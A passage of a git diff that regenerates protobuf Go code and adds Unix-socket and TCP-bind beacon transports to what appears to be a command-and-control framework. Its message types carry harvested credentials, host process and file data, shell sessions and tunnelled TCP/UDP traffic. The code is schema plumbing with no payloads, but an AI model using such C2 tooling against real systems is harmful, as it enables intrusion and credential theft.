case 2: - return &v.unknownFields - default: - return nil - } - } - } type x struct{} out := protoimpl.TypeBuilder{ File: protoimpl.DescBuilder{ GoPackagePath: reflect.TypeOf(x{}).PkgPath(), - RawDescriptor: file_dns_proto_rawDesc, + RawDescriptor: unsafe.Slice(unsafe.StringData(file_dns_proto_rawDesc), len(file_dns_proto_rawDesc)), NumEnums: 1, NumMessages: 5, NumExtensions: 0, @@ -601,7 +525,6 @@ func file_dns_proto_init() { MessageInfos: file_dns_proto_msgTypes, }.Build() File_dns_proto = out.File - file_dns_proto_rawDesc = nil file_dns_proto_goTypes = nil file_dns_proto_depIdxs = nil } diff --git a/tavern/internal/c2/epb/eldritch.pb.go b/tavern/internal/c2/epb/eldritch.pb.go index 1887d7ff0..e42d76e3c 100644 --- a/tavern/internal/c2/epb/eldritch.pb.go +++ b/tavern/internal/c2/epb/eldritch.pb.go @@ -1,6 +1,6 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: -// protoc-gen-go v1.32.0 +// protoc-gen-go v1.36.5 // protoc v3.21.12 // source: eldritch.proto @@ -11,6 +11,7 @@ import ( protoimpl "google.golang.org/protobuf/runtime/protoimpl" reflect "reflect" sync "sync" + unsafe "unsafe" ) const ( @@ -156,22 +157,19 @@ func (Process_Status) EnumDescriptor() ([]byte, []int) { // Tome for eldritch to execute. type Tome struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache + state protoimpl.MessageState `protogen:"open.v1"` + Eldritch string `protobuf:"bytes,1,opt,name=eldritch,proto3" json:"eldritch,omitempty"` + Parameters map[string]string `protobuf:"bytes,2,rep,name=parameters,proto3" json:"parameters,omitempty" protobuf_key:"bytes,1,opt,name=key" protobuf_val:"bytes,2,opt,name=value"` + FileNames []string `protobuf:"bytes,3,rep,name=file_names,json=fileNames,proto3" json:"file_names,omitempty"` unknownFields protoimpl.UnknownFields - - Eldritch string `protobuf:"bytes,1,opt,name=eldritch,proto3" json:"eldritch,omitempty"` - Parameters map[string]string `protobuf:"bytes,2,rep,name=parameters,proto3" json:"parameters,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` - FileNames []string `protobuf:"bytes,3,rep,name=file_names,json=fileNames,proto3" json:"file_names,omitempty"` + sizeCache protoimpl.SizeCache } func (x *Tome) Reset() { *x = Tome{} - if protoimpl.UnsafeEnabled { - mi := &file_eldritch_proto_msgTypes[0] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } + mi := &file_eldritch_proto_msgTypes[0] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) } func (x *Tome) String() string { @@ -182,7 +180,7 @@ func (*Tome) ProtoMessage() {} func (x *Tome) ProtoReflect() protoreflect.Message { mi := &file_eldritch_proto_msgTypes[0] - if protoimpl.UnsafeEnabled && x != nil { + if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -220,22 +218,19 @@ func (x *Tome) GetFileNames() []string { // Credential reported on the host system. type Credential struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache + state protoimpl.MessageState `protogen:"open.v1"` + Principal string `protobuf:"bytes,1,opt,name=principal,proto3" json:"principal,omitempty"` + Secret string `protobuf:"bytes,2,opt,name=secret,proto3" json:"secret,omitempty"` + Kind Credential_Kind `protobuf:"varint,3,opt,name=kind,proto3,enum=eldritch.Credential_Kind" json:"kind,omitempty"` unknownFields protoimpl.UnknownFields - - Principal string `protobuf:"bytes,1,opt,name=principal,proto3" json:"principal,omitempty"` - Secret string `protobuf:"bytes,2,opt,name=secret,proto3" json:"secret,omitempty"` - Kind Credential_Kind `protobuf:"varint,3,opt,name=kind,proto3,enum=eldritch.Credential_Kind" json:"kind,omitempty"` + sizeCache protoimpl.SizeCache } func (x *Credential) Reset() { *x = Credential{} - if protoimpl.UnsafeEnabled { - mi := &file_eldritch_proto_msgTypes[1] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } + mi := &file_eldritch_proto_msgTypes[1] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) } func (x *Credential) String() string { @@ -246,7 +241,7 @@ func (*Credential) ProtoMessage() {} func (x *Credential) ProtoReflect() protoreflect.Message { mi := &file_eldritch_proto_msgTypes[1] - if protoimpl.UnsafeEnabled && x != nil { + if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -284,29 +279,26 @@ func (x *Credential) GetKind() Credential_Kind { // Process running on the host system. type Process struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache + state protoimpl.MessageState `protogen:"open.v1"` + Pid uint64 `protobuf:"varint,1,opt,name=pid,proto3" json:"pid,omitempty"` + Ppid uint64 `protobuf:"varint,2,opt,name=ppid,proto3" json:"ppid,omitempty"` + Name string `protobuf:"bytes,3,opt,name=name,proto3" json:"name,omitempty"` + Principal string `protobuf:"bytes,4,opt,name=principal,proto3" json:"principal,omitempty"` + Path string `protobuf:"bytes,5,opt,name=path,proto3" json:"path,omitempty"` + Cmd string `protobuf:"bytes,6,opt,name=cmd,proto3" json:"cmd,omitempty"` + Env string `protobuf:"bytes,7,opt,name=env,proto3" json:"env,omitempty"` + Cwd string `protobuf:"bytes,8,opt,name=cwd,proto3" json:"cwd,omitempty"` + Status Process_Status `protobuf:"varint,9,opt,name=status,proto3,enum=eldritch.Process_Status" json:"status,omitempty"` + StartTime uint64 `protobuf:"varint,10,opt,name=start_time,json=startTime,proto3" json:"start_time,omitempty"` unknownFields protoimpl.UnknownFields - - Pid uint64 `protobuf:"varint,1,opt,name=pid,proto3" json:"pid,omitempty"` - Ppid uint64 `protobuf:"varint,2,opt,name=ppid,proto3" json:"ppid,omitempty"` - Name string `protobuf:"bytes,3,opt,name=name,proto3" json:"name,omitempty"` - Principal string `protobuf:"bytes,4,opt,name=principal,proto3" json:"principal,omitempty"` - Path string `protobuf:"bytes,5,opt,name=path,proto3" json:"path,omitempty"` - Cmd string `protobuf:"bytes,6,opt,name=cmd,proto3" json:"cmd,omitempty"` - Env string `protobuf:"bytes,7,opt,name=env,proto3" json:"env,omitempty"` - Cwd string `protobuf:"bytes,8,opt,name=cwd,proto3" json:"cwd,omitempty"` - Status Process_Status `protobuf:"varint,9,opt,name=status,proto3,enum=eldritch.Process_Status" json:"status,omitempty"` - StartTime uint64 `protobuf:"varint,10,opt,name=start_time,json=startTime,proto3" json:"start_time,omitempty"` + sizeCache protoimpl.SizeCache } func (x *Process) Reset() { *x = Process{} - if protoimpl.UnsafeEnabled { - mi := &file_eldritch_proto_msgTypes[2] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } + mi := &file_eldritch_proto_msgTypes[2] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) } func (x *Process) String() string { @@ -317,7 +309,7 @@ func (*Process) ProtoMessage() {} func (x *Process) ProtoReflect() protoreflect.Message { mi := &file_eldritch_proto_msgTypes[2] - if protoimpl.UnsafeEnabled && x != nil { + if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -404,20 +396,17 @@ func (x *Process) GetStartTime() uint64 { // ProcessList of running processes on the host system. type ProcessList struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache + state protoimpl.MessageState `protogen:"open.v1"` + List []*Process `protobuf:"bytes,1,rep,name=list,proto3" json:"list,omitempty"` unknownFields protoimpl.UnknownFields - - List []*Process `protobuf:"bytes,1,rep,name=list,proto3" json:"list,omitempty"` + sizeCache protoimpl.SizeCache } func (x *ProcessList) Reset() { *x = ProcessList{} - if protoimpl.UnsafeEnabled { - mi := &file_eldritch_proto_msgTypes[3] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } + mi := &file_eldritch_proto_msgTypes[3] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) } func (x *ProcessList) String() string { @@ -428,7 +417,7 @@ func (*ProcessList) ProtoMessage() {} func (x *ProcessList) ProtoReflect() protoreflect.Message { mi := &file_eldritch_proto_msgTypes[3] - if protoimpl.UnsafeEnabled && x != nil { + if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -452,25 +441,22 @@ func (x *ProcessList) GetList() []*Process { // FileMetadata about a file on the host system. type FileMetadata struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache + state protoimpl.MessageState `protogen:"open.v1"` + Path string `protobuf:"bytes,1,opt,name=path,proto3" json:"path,omitempty"` + Owner string `protobuf:"bytes,2,opt,name=owner,proto3" json:"owner,omitempty"` + Group string `protobuf:"bytes,3,opt,name=group,proto3" json:"group,omitempty"` + Permissions string `protobuf:"bytes,4,opt,name=permissions,proto3" json:"permissions,omitempty"` + Size uint64 `protobuf:"varint,5,opt,name=size,proto3" json:"size,omitempty"` + Sha3_256Hash string `protobuf:"bytes,6,opt,name=sha3_256_hash,json=sha3256Hash,proto3" json:"sha3_256_hash,omitempty"` unknownFields protoimpl.UnknownFields - - Path string `protobuf:"bytes,1,opt,name=path,proto3" json:"path,omitempty"` - Owner string `protobuf:"bytes,2,opt,name=owner,proto3" json:"owner,omitempty"` - Group string `protobuf:"bytes,3,opt,name=group,proto3" json:"group,omitempty"` - Permissions string `protobuf:"bytes,4,opt,name=permissions,proto3" json:"permissions,omitempty"` - Size uint64 `protobuf:"varint,5,opt,name=size,proto3" json:"size,omitempty"` - Sha3_256Hash string `protobuf:"bytes,6,opt,name=sha3_256_hash,json=sha3256Hash,proto3" json:"sha3_256_hash,omitempty"` + sizeCache protoimpl.SizeCache } func (x *FileMetadata) Reset() { *x = FileMetadata{} - if protoimpl.UnsafeEnabled { - mi := &file_eldritch_proto_msgTypes[4] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } + mi := &file_eldritch_proto_msgTypes[4] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) } func (x *FileMetadata) String() string { @@ -481,7 +467,7 @@ func (*FileMetadata) ProtoMessage() {} func (x *FileMetadata) ProtoReflect() protoreflect.Message { mi := &file_eldritch_proto_msgTypes[4] - if protoimpl.UnsafeEnabled && x != nil { + if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -540,21 +526,18 @@ func (x *FileMetadata) GetSha3_256Hash() string { // File on the host system. type File struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache + state protoimpl.MessageState `protogen:"open.v1"` + Metadata *FileMetadata `protobuf:"bytes,1,opt,name=metadata,proto3" json:"metadata,omitempty"` + Chunk []byte `protobuf:"bytes,2,opt,name=chunk,proto3" json:"chunk,omitempty"` unknownFields protoimpl.UnknownFields - - Metadata *FileMetadata `protobuf:"bytes,1,opt,name=metadata,proto3" json:"metadata,omitempty"` - Chunk []byte `protobuf:"bytes,2,opt,name=chunk,proto3" json:"chunk,omitempty"` + sizeCache protoimpl.SizeCache } func (x *File) Reset() { *x = File{} - if protoimpl.UnsafeEnabled { - mi := &file_eldritch_proto_msgTypes[5] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } + mi := &file_eldritch_proto_msgTypes[5] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) } func (x *File) String() string { @@ -565,7 +548,7 @@ func (*File) ProtoMessage() {} func (x *File) ProtoReflect() protoreflect.Message { mi := &file_eldritch_proto_msgTypes[5] - if protoimpl.UnsafeEnabled && x != nil { + if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -596,7 +579,7 @@ func (x *File) GetChunk() []byte { var File_eldritch_proto protoreflect.FileDescriptor -var file_eldritch_proto_rawDesc = []byte{ +var file_eldritch_proto_rawDesc = string([]byte{ 0x0a, 0x0e, 0x65, 0x6c, 0x64, 0x72, 0x69, 0x74, 0x63, 0x68, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x08, 0x65, 0x6c, 0x64, 0x72, 0x69, 0x74, 0x63, 0x68, 0x22, 0xc0, 0x01, 0x0a, 0x04, 0x54, 0x6f, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x65, 0x6c, 0x64, 0x72, 0x69, 0x74, 0x63, 0x68, 0x18, @@ -681,23 +664,23 @@ var file_eldritch_proto_rawDesc = []byte{ 0x6d, 0x2e, 0x70, 0x75, 0x62, 0x2f, 0x74, 0x61, 0x76, 0x65, 0x72, 0x6e, 0x2f, 0x69, 0x6e, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x2f, 0x63, 0x32, 0x2f, 0x65, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, -} +}) var ( file_eldritch_proto_rawDescOnce sync.Once - file_eldritch_proto_rawDescData = file_eldritch_proto_rawDesc + file_eldritch_proto_rawDescData []byte ) func file_eldritch_proto_rawDescGZIP() []byte { file_eldritch_proto_rawDescOnce.Do(func() { - file_eldritch_proto_rawDescData = protoimpl.X.CompressGZIP(file_eldritch_proto_rawDescData) + file_eldritch_proto_rawDescData = protoimpl.X.CompressGZIP(unsafe.Slice(unsafe.StringData(file_eldritch_proto_rawDesc), len(file_eldritch_proto_rawDesc))) }) return file_eldritch_proto_rawDescData } var file_eldritch_proto_enumTypes = make([]protoimpl.EnumInfo, 2) var file_eldritch_proto_msgTypes = make([]protoimpl.MessageInfo, 7) -var file_eldritch_proto_goTypes = []interface{}{ +var file_eldritch_proto_goTypes = []any{ (Credential_Kind)(0), // 0: eldritch.Credential.Kind (Process_Status)(0), // 1: eldritch.Process.Status (*Tome)(nil), // 2: eldritch.Tome @@ -726,85 +709,11 @@ func file_eldritch_proto_init() { if File_eldritch_proto != nil { return } - if !protoimpl.UnsafeEnabled { - file_eldritch_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Tome); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_eldritch_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Credential); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_eldritch_proto_msgTypes[2].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Process); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_eldritch_proto_msgTypes[3].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ProcessList); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_eldritch_proto_msgTypes[4].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*FileMetadata); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_eldritch_proto_msgTypes[5].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*File); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - } type x struct{} out := protoimpl.TypeBuilder{ File: protoimpl.DescBuilder{ GoPackagePath: reflect.TypeOf(x{}).PkgPath(), - RawDescriptor: file_eldritch_proto_rawDesc, + RawDescriptor: unsafe.Slice(unsafe.StringData(file_eldritch_proto_rawDesc), len(file_eldritch_proto_rawDesc)), NumEnums: 2, NumMessages: 7, NumExtensions: 0, @@ -816,7 +725,6 @@ func file_eldritch_proto_init() { MessageInfos: file_eldritch_proto_msgTypes, }.Build() File_eldritch_proto = out.File - file_eldritch_proto_rawDesc = nil file_eldritch_proto_goTypes = nil file_eldritch_proto_depIdxs = nil } diff --git a/tavern/internal/c2/proto/c2.proto b/tavern/internal/c2/proto/c2.proto index f0c02d848..a8681cc24 100644 --- a/tavern/internal/c2/proto/c2.proto +++ b/tavern/internal/c2/proto/c2.proto @@ -27,6 +27,8 @@ message Transport { TRANSPORT_GRPC = 1; TRANSPORT_HTTP1 = 2; TRANSPORT_DNS = 3; + TRANSPORT_UDS = 4; + TRANSPORT_TCP_BIND = 5; } Type type = 3; diff --git a/tavern/internal/ent/beacon/beacon.go b/tavern/internal/ent/beacon/beacon.go index 4f4c9daf4..70199c879 100644 --- a/tavern/internal/ent/beacon/beacon.go +++ b/tavern/internal/ent/beacon/beacon.go @@ -128,7 +128,7 @@ var ( // TransportValidator is a validator for the "transport" field enum values. It is called by the builders before save. func TransportValidator(t c2pb.Transport_Type) error { switch t.String() { - case "TRANSPORT_DNS", "TRANSPORT_GRPC", "TRANSPORT_HTTP1", "TRANSPORT_UNSPECIFIED": + case "TRANSPORT_DNS", "TRANSPORT_GRPC", "TRANSPORT_HTTP1", "TRANSPORT_TCP_BIND", "TRANSPORT_UDS", "TRANSPORT_UNSPECIFIED": return nil default: return fmt.Errorf("beacon: invalid enum value for transport field: %q", t) diff --git a/tavern/internal/ent/migrate/schema.go b/tavern/internal/ent/migrate/schema.go index 4a94ebfa7..ce7918b6a 100644 --- a/tavern/internal/ent/migrate/schema.go +++ b/tavern/internal/ent/migrate/schema.go @@ -59,7 +59,7 @@ var ( {Name: "last_seen_at", Type: field.TypeTime, Nullable: true}, {Name: "next_seen_at", Type: field.TypeTime, Nullable: true}, {Name: "interval", Type: field.TypeUint64, Nullable: true}, - {Name: "transport", Type: field.TypeEnum, Enums: []string{"TRANSPORT_DNS", "TRANSPORT_GRPC", "TRANSPORT_HTTP1", "TRANSPORT_UNSPECIFIED"}}, + {Name: "transport", Type: field.TypeEnum, Enums: []string{"TRANSPORT_DNS", "TRANSPORT_GRPC", "TRANSPORT_HTTP1", "TRANSPORT_TCP_BIND", "TRANSPORT_UDS", "TRANSPORT_UNSPECIFIED"}}, {Name: "beacon_host", Type: field.TypeInt}, } // BeaconsTable holds the schema information for the "beacons" table. diff --git a/tavern/internal/graphql/generated/root_.generated.go b/tavern/internal/graphql/generated/root_.generated.go index 5aa79230d..f37ffa360 100644 --- a/tavern/internal/graphql/generated/root_.generated.go +++ b/tavern/internal/graphql/generated/root_.generated.go @@ -4965,6 +4965,8 @@ enum BeaconTransport_Type @goModel(model: "realm.pub/tavern/internal/c2/c2pb.Tra TRANSPORT_DNS TRANSPORT_GRPC TRANSPORT_HTTP1 + TRANSPORT_TCP_BIND + TRANSPORT_UDS TRANSPORT_UNSPECIFIED } """ diff --git a/tavern/internal/graphql/schema.graphql b/tavern/internal/graphql/schema.graphql index 3a3226257..c0ded5031 100644 --- a/tavern/internal/graphql/schema.graphql +++ b/tavern/internal/graphql/schema.graphql @@ -575,6 +575,8 @@ enum BeaconTransport_Type @goModel(model: "realm.pub/tavern/internal/c2/c2pb.Tra TRANSPORT_DNS TRANSPORT_GRPC TRANSPORT_HTTP1 + TRANSPORT_TCP_BIND + TRANSPORT_UDS TRANSPORT_UNSPECIFIED } """ diff --git a/tavern/internal/graphql/schema/ent.graphql b/tavern/internal/graphql/schema/ent.graphql index 0a70bb6f9..5f0f4d699 100644 --- a/tavern/internal/graphql/schema/ent.graphql +++ b/tavern/internal/graphql/schema/ent.graphql @@ -570,6 +570,8 @@ enum BeaconTransport_Type @goModel(model: "realm.pub/tavern/internal/c2/c2pb.Tra TRANSPORT_DNS TRANSPORT_GRPC TRANSPORT_HTTP1 + TRANSPORT_TCP_BIND + TRANSPORT_UDS TRANSPORT_UNSPECIFIED } """ diff --git a/tavern/internal/www/schema.graphql b/tavern/internal/www/schema.graphql index 3a3226257..c0ded5031 100644 --- a/tavern/internal/www/schema.graphql +++ b/tavern/internal/www/schema.graphql @@ -575,6 +575,8 @@ enum BeaconTransport_Type @goModel(model: "realm.pub/tavern/internal/c2/c2pb.Tra TRANSPORT_DNS TRANSPORT_GRPC TRANSPORT_HTTP1 + TRANSPORT_TCP_BIND + TRANSPORT_UDS TRANSPORT_UNSPECIFIED } """ diff --git a/tavern/portals/portalpb/portal.pb.go b/tavern/portals/portalpb/portal.pb.go index d4026c71d..79b1ae209 100644 --- a/tavern/portals/portalpb/portal.pb.go +++ b/tavern/portals/portalpb/portal.pb.go @@ -1,6 +1,6 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: -// protoc-gen-go v1.32.0 +// protoc-gen-go v1.36.5 // protoc v3.21.12 // source: portal.proto @@ -11,6 +11,7 @@ import ( protoimpl "google.golang.org/protobuf/runtime/protoimpl" reflect "reflect" sync "sync" + unsafe "unsafe" ) const ( @@ -79,21 +80,18 @@ func (BytesPayloadKind) EnumDescriptor() ([]byte, []int) { } type BytesPayload struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache + state protoimpl.MessageState `protogen:"open.v1"` + Data []byte `protobuf:"bytes,1,opt,name=data,proto3" json:"data,omitempty"` + Kind BytesPayloadKind `protobuf:"varint,2,opt,name=kind,proto3,enum=portal.BytesPayloadKind" json:"kind,omitempty"` unknownFields protoimpl.UnknownFields - - Data []byte `protobuf:"bytes,1,opt,name=data,proto3" json:"data,omitempty"` - Kind BytesPayloadKind `protobuf:"varint,2,opt,name=kind,proto3,enum=portal.BytesPayloadKind" json:"kind,omitempty"` + sizeCache protoimpl.SizeCache } func (x *BytesPayload) Reset() { *x = BytesPayload{} - if protoimpl.UnsafeEnabled { - mi := &file_portal_proto_msgTypes[0] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } + mi := &file_portal_proto_msgTypes[0] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) } func (x *BytesPayload) String() string { @@ -104,7 +102,7 @@ func (*BytesPayload) ProtoMessage() {} func (x *BytesPayload) ProtoReflect() protoreflect.Message { mi := &file_portal_proto_msgTypes[0] - if protoimpl.UnsafeEnabled && x != nil { + if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -134,22 +132,19 @@ func (x *BytesPayload) GetKind() BytesPayloadKind { } type TCPPayload struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache + state protoimpl.MessageState `protogen:"open.v1"` + Data []byte `protobuf:"bytes,1,opt,name=data,proto3" json:"data,omitempty"` + DstAddr string `protobuf:"bytes,2,opt,name=dst_addr,json=dstAddr,proto3" json:"dst_addr,omitempty"` + DstPort uint32 `protobuf:"varint,3,opt,name=dst_port,json=dstPort,proto3" json:"dst_port,omitempty"` unknownFields protoimpl.UnknownFields - - Data []byte `protobuf:"bytes,1,opt,name=data,proto3" json:"data,omitempty"` - DstAddr string `protobuf:"bytes,2,opt,name=dst_addr,json=dstAddr,proto3" json:"dst_addr,omitempty"` - DstPort uint32 `protobuf:"varint,3,opt,name=dst_port,json=dstPort,proto3" json:"dst_port,omitempty"` + sizeCache protoimpl.SizeCache } func (x *TCPPayload) Reset() { *x = TCPPayload{} - if protoimpl.UnsafeEnabled { - mi := &file_portal_proto_msgTypes[1] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } + mi := &file_portal_proto_msgTypes[1] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) } func (x *TCPPayload) String() string { @@ -160,7 +155,7 @@ func (*TCPPayload) ProtoMessage() {} func (x *TCPPayload) ProtoReflect() protoreflect.Message { mi := &file_portal_proto_msgTypes[1] - if protoimpl.UnsafeEnabled && x != nil { + if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -197,22 +192,19 @@ func (x *TCPPayload) GetDstPort() uint32 { } type UDPPayload struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache + state protoimpl.MessageState `protogen:"open.v1"` + Data []byte `protobuf:"bytes,1,opt,name=data,proto3" json:"data,omitempty"` + DstAddr string `protobuf:"bytes,2,opt,name=dst_addr,json=dstAddr,proto3" json:"dst_addr,omitempty"` + DstPort uint32 `protobuf:"varint,3,opt,name=dst_port,json=dstPort,proto3" json:"dst_port,omitempty"` unknownFields protoimpl.UnknownFields - - Data []byte `protobuf:"bytes,1,opt,name=data,proto3" json:"data,omitempty"` - DstAddr string `protobuf:"bytes,2,opt,name=dst_addr,json=dstAddr,proto3" json:"dst_addr,omitempty"` - DstPort uint32 `protobuf:"varint,3,opt,name=dst_port,json=dstPort,proto3" json:"dst_port,omitempty"` + sizeCache protoimpl.SizeCache } func (x *UDPPayload) Reset() { *x = UDPPayload{} - if protoimpl.UnsafeEnabled { - mi := &file_portal_proto_msgTypes[2] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } + mi := &file_portal_proto_msgTypes[2] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) } func (x *UDPPayload) String() string { @@ -223,7 +215,7 @@ func (*UDPPayload) ProtoMessage() {} func (x *UDPPayload) ProtoReflect() protoreflect.Message { mi := &file_portal_proto_msgTypes[2] - if protoimpl.UnsafeEnabled && x != nil { + if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -260,23 +252,20 @@ func (x *UDPPayload) GetDstPort() uint32 { } type ShellPayload struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache + state protoimpl.MessageState `protogen:"open.v1"` + Input string `protobuf:"bytes,1,opt,name=input,proto3" json:"input,omitempty"` + ShellId int64 `protobuf:"varint,2,opt,name=shell_id,json=shellId,proto3" json:"shell_id,omitempty"` + Output string `protobuf:"bytes,3,opt,name=output,proto3" json:"output,omitempty"` + Error string `protobuf:"bytes,4,opt,name=error,proto3" json:"error,omitempty"` unknownFields protoimpl.UnknownFields - - Input string `protobuf:"bytes,1,opt,name=input,proto3" json:"input,omitempty"` - ShellId int64 `protobuf:"varint,2,opt,name=shell_id,json=shellId,proto3" json:"shell_id,omitempty"` - Output string `protobuf:"bytes,3,opt,name=output,proto3" json:"output,omitempty"` - Error string `protobuf:"bytes,4,opt,name=error,proto3" json:"error,omitempty"` + sizeCache protoimpl.SizeCache } func (x *ShellPayload) Reset() { *x = ShellPayload{} - if protoimpl.UnsafeEnabled { - mi := &file_portal_proto_msgTypes[3] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } + mi := &file_portal_proto_msgTypes[3] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) } func (x *ShellPayload) String() string { @@ -287,7 +276,7 @@ func (*ShellPayload) ProtoMessage() {} func (x *ShellPayload) ProtoReflect() protoreflect.Message { mi := &file_portal_proto_msgTypes[3] - if protoimpl.UnsafeEnabled && x != nil { + if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -331,32 +320,29 @@ func (x *ShellPayload) GetError() string { } type Mote struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - + state protoimpl.MessageState `protogen:"open.v1"` // Unique identifier used to route reply traffic back to original port StreamId string `protobuf:"bytes,1,opt,name=stream_id,json=streamId,proto3" json:"stream_id,omitempty"` // Ordered number for clients to reassemble an ordered stream SeqId uint64 `protobuf:"varint,2,opt,name=seq_id,json=seqId,proto3" json:"seq_id,omitempty"` // A payload // - // Types that are assignable to Payload: + // Types that are valid to be assigned to Payload: // // *Mote_Udp // *Mote_Tcp // *Mote_Bytes // *Mote_Shell - Payload isMote_Payload `protobuf_oneof:"payload"` + Payload isMote_Payload `protobuf_oneof:"payload"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache } func (x *Mote) Reset() { *x = Mote{} - if protoimpl.UnsafeEnabled { - mi := &file_portal_proto_msgTypes[4] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } + mi := &file_portal_proto_msgTypes[4] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) } func (x *Mote) String() string { @@ -367,7 +353,7 @@ func (*Mote) ProtoMessage() {} func (x *Mote) ProtoReflect() protoreflect.Message { mi := &file_portal_proto_msgTypes[4] - if protoimpl.UnsafeEnabled && x != nil { + if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -396,37 +382,45 @@ func (x *Mote) GetSeqId() uint64 { return 0 } -func (m *Mote) GetPayload() isMote_Payload { - if m != nil { - return m.Payload +func (x *Mote) GetPayload() isMote_Payload { + if x != nil { + return x.Payload } return nil } func (x *Mote) GetUdp() *UDPPayload { - if x, ok := x.GetPayload().(*Mote_Udp); ok { - return x.Udp + if x != nil { + if x, ok := x.Payload.(*Mote_Udp); ok { + return x.Udp + } } return nil } func (x *Mote) GetTcp() *TCPPayload { 